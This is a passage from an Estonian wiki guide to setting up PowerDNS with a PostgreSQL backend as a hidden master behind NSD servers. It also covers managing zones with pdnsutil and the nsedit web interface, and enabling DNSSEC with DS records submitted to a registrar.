* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
